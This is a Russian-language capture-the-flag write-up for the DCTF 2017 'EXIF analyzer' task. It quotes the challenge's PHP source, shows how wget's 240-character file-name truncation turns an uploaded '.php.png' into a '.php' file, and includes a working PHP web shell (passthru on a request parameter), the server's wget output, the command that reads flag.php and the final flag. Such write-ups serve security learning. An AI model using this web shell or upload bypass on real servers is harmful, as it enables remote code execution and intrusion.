Само задание:
Target:
Переходим по ссылке из задания, перед нами одна единственная строка:
The flag is right on the next line ↓
Более ничего интересного на этой странице обнаружено не было, пробуем открыть /index.php:
Простое нажатие на view source ни к чему не приводило, но попробовав открыть https://exif-analyzer.dctf-quals-17.def.camp/index.php?source
мы получили исходный код файла index.php:
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
if (isset($_GET['source'])) {
echo highlight_file(__FILE__);
die();
}
function download($url) {
$flags = FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED | FILTER_FLAG_PATH_REQUIRED;
$urlok = filter_var($url, FILTER_VALIDATE_URL, $flags);
if (!$urlok) {
throw new Exception('Invalid URL');
}
$parsed = parse_url($url);
if (!preg_match('/^https?$/i', $parsed['scheme'])) {
throw new Exception('Invalid URL: scheme must be HTTP or HTTPS');
}
$host_ip = gethostbyname($parsed['host']);
$flags = FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE;
$ipok = filter_var($host_ip, FILTER_VALIDATE_IP, $flags);
if ($ipok === false) {
throw new Exception('Invalid URL: host not allowed');
}
$file = pathinfo($parsed['path']);
$filename = $file['basename'];
$extension = strtolower($file['extension']);
$whitelist = ['png', 'gif', 'jpg'];
if (!in_array($extension, $whitelist)) {
throw new Exception('Extension not allowed');
}
// re-assemble safe url
$safe_url = "{$parsed['scheme']}://{$parsed['host']}";
$safe_url .= isset($parsed['port']) ? ":{$parsed['port']}" : '';
$safe_url .= $parsed['path'];
$uploads = getcwd() . '/uploads/';
$timestamp = date('md-Hi');
$suffix = bin2hex(openssl_random_pseudo_bytes(8));
$userdir = "${uploads}/${timestamp}_${suffix}";
if (!is_dir($userdir)) {
mkdir($userdir);
}
$cmd = "cd $userdir; timeout 3 wget " . escapeshellarg($safe_url) . " 2>&1";
$output = shell_exec($cmd);
return [
'output' => $output,
'cmd' => $cmd,
'file' => "$userdir/$filename",
];
}
function analyze($file) {
if(!is_file($file)) {
throw new Exception('File not found');
}
return exif_read_data($file, NULL, true);
}
$error = false;
$result = false;
$output = '';
$cmd = '';
if (isset($_REQUEST['url'])) {
try {
$download = download($_REQUEST['url']);
$output = $download['output'];
$filepath = $download['file'];
$cmd = $download['cmd'];
$result = analyze($filepath);
} catch (Exception $ex) {
$result = $ex->getMessage();
$error = true;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>EXIF dump</title>
</head>
<body>
<h1>EXIF dump</h1>
<?php if ($result !== false): ?>
<div>
<?php if ($error): ?>
<h3>Something spooky happened:</h3>
<p><?php echo htmlentities($result); ?></p>
<?php else: ?>
<h3>Here's what we've found:</h3>
<table>
<?php foreach($result as $key => $section): ?>
<?php foreach($section as $name => $value): ?>
<tr>
<td><?php echo htmlentities("$key.$name"); ?></td>
<td><?php echo htmlentities($value); ?></td>
</tr>
<?php endforeach; ?>
<?php endforeach; ?>
</table>
<?php endif; ?>
</div>
<div>
<h4>Output:</h4>
<pre>CMD: <?php echo htmlentities($cmd); ?></pre>
<pre><?php echo htmlentities($output); ?></pre>
</div>
<?php endif; ?>
<div>
<p>Specify an URL of an image to view its EXIF data:</p>
<form method="post">
<label>
<input type="url" name="url" placeholder="http://domain.tld/path/to/image.png">
</label>
<input type="submit" value="Analyze">
</form>
</div>
<footer>
<a id="src" href="?source" target="_blank" title="view source"><small>view source</small></a>
</footer>
</body>
</html>
<script>document.getElementById('src').href = 'view-source:' + location.href;</script>
1
Итак, мы можем загрузить только такие типы файлов, как $whitelist = ['png', 'gif', 'jpg'];
, кроме того, строка $cmd = "cd $userdir; timeout 3 wget " . escapeshellarg($safe_url) . " 2>&1";
наводит на мысли о дальнейшем решении таска.
Проанализировав вышеописанное получается, что все, что нам надо — это отправить на сервер url адрес изображения с расширением PNG, GIF или JPG (помним о том, что максимальное количество символов в имени файла для wget равно 240 символам).
Создаем файл с именем:
blablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablaa.php.png
и содержимым:
<form action="" method="get">
Command: <input type="text" name="cmd" /><input type="submit" value="Exec" />
</form>
Output:<br />
<pre><?php passthru($_REQUEST['cmd'], $result); ?></pre>
Далее, заливаем эту "картинку" куда-нибудь (мы залили прямо на наш сайт — http://ctf-writeups.ru/blablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablaa.php.png
) и действуем!
Открываем уже знакомый нам https://exif-analyzer.dctf-quals-17.def.camp/index.php
, вставляем ссылку на нашу картинку-шелл, тыкаем Analyze и наблюдаем магию:
Output:
CMD: cd /var/www/html/uploads//1001-1521_54325fa5844a7c9e; timeout 3 wget 'http://ctf-writeups.ru/blablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablaa.php.png' 2>&1
The name is too long, 240 chars total.
Trying to shorten...
New name is blablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablaa.php.
--2017-10-01 12:21:07-- http://ctf-writeups.ru/blablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablaa.php.png
Resolving ctf-writeups.ru (ctf-writeups.ru)...
Connecting to ctf-writeups.ru (ctf-writeups.ru)... connected.
HTTP request sent, awaiting response... 200 OK
Length: 186 [image/png]
Saving to: 'blablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablaa.php'
0K 100% 26.0M=0s
2017-10-01 12:21:07 (26.0 MB/s) - 'blablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablaa.php' saved [186/186]
Как видно выше, наше слишком длинное имя обрезалось таким образом, что расширение .png пропало и файл сохранился под расширением .php — а мы ведь этого и добивались, не так ли? Ну и выше же находим путь, по которому сохранился наш файл (в нашем случае это /uploads/1001-1521_54325fa5844a7c9e
).
Переходим к нашему файлу, видим форму для ввода команды, вводим cat ../../flag.php
и флаг наш.
Флаг: DCTF{0c52b82e474afc7c06da92d221ffe9361330d9395978e633cdbf01a173d07aa4}